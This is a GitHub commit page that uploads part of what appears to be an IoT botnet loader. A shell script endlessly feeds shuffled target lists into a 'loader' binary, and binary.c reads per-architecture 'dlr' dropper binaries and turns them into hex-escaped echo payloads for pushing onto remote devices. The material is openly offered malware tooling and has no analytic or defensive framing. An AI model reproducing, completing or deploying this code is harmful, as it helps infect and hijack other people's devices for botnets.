Skip to content

Commit 1c22be1

Browse files
authored
Add files via upload
1 parent 0a8279f commit 1c22be1

File tree

14 files changed

+1811
-0
lines changed

14 files changed

+1811
-0
lines changed

loader/run.sh

Lines changed: 15 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,15 @@
1+
#!/bin/sh
2+
3+
killpid() {
4+
pkill -9 loader
5+
sleep 100
6+
}
7+
8+
killpid &
9+
10+
while true; do
11+
rm -rf .tempload
12+
cat *.txt | uniq | shuf >.tempload
13+
cat .tempload | ./loader
14+
done
15+

loader/src/binary.c

Lines changed: 89 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,89 @@
1+
#include <stdio.h>
2+
#include <stdlib.h>
3+
#include <string.h>
4+
#include <glob.h>
5+
6+
#include "headers/includes.h"
7+
#include "headers/binary.h"
8+
9+
static int bin_list_len = 0;
10+
static struct binary **bin_list = NULL;
11+
12+
BOOL binary_init(void)
13+
{
14+
glob_t pglob;
15+
int i = 0;
16+
17+
if(glob("bins/dlr.*", GLOB_ERR, NULL, &pglob) != 0)
18+
{
19+
printf("Failed to load from bins folder!\n");
20+
return;
21+
}
22+
23+
for(i = 0; i < pglob.gl_pathc; i++)
24+
{
25+
char file_name[256];
26+
struct binary *bin;
27+
28+
bin_list = realloc(bin_list, (bin_list_len + 1) * sizeof(struct binary *));
29+
bin_list[bin_list_len] = calloc(1, sizeof(struct binary));
30+
bin = bin_list[bin_list_len++];
31+
32+
#ifdef DEBUG
33+
printf("(%d/%d) %s is loading...\n", i + 1, pglob.gl_pathc, pglob.gl_pathv[i]);
34+
#endif
35+
strcpy(file_name, pglob.gl_pathv[i]);
36+
strtok(file_name, ".");
37+
strcpy(bin->arch, strtok(NULL, "."));
38+
load(bin, pglob.gl_pathv[i]);
39+
}
40+
41+
globfree(&pglob);
42+
return TRUE;
43+
}
44+
45+
struct binary *binary_get_by_arch(char *arch, int len)
46+
{
47+
int i = 0;
48+
49+
for(i = 0; i < bin_list_len; i++)
50+
{
51+
if(strncmp(arch, bin_list[i]->arch, len) == 0)
52+
{
53+
#ifdef DEBUG
54+
printf("Compared arch %s with %s\n", arch, bin_list[i]->arch);
55+
#endif
56+
return bin_list[i];
57+
}
58+
}
59+
60+
return NULL;
61+
}
62+
63+
static BOOL load(struct binary *bin, char *fname)
64+
{
65+
FILE *file;
66+
char rdbuf[BINARY_BYTES_PER_ECHOLINE];
67+
int n = 0;
68+
69+
if((file = fopen(fname, "r")) == NULL)
70+
{
71+
printf("Failed to open %s forparsing\n", fname);
72+
return FALSE;
73+
}
74+
75+
while((n = fread(rdbuf, sizeof(char), BINARY_BYTES_PER_ECHOLINE, file)) != 0)
76+
{
77+
char *ptr;
78+
int i = 0;
79+
80+
bin->hex_payloads = realloc(bin->hex_payloads, (bin->hex_payloads_len + 1) * sizeof(char *));
81+
bin->hex_payloads[bin->hex_payloads_len] = calloc(sizeof(char), (4 * n) + 8);
82+
ptr = bin->hex_payloads[bin->hex_payloads_len++];
83+
84+
for(i = 0; i < n; i++)
85+
ptr += sprintf(ptr, "\\x%02x", (uint8_t)rdbuf[i]);
86+
}
87+
88+
return FALSE;
89+
}

0 commit comments

Comments
 (0)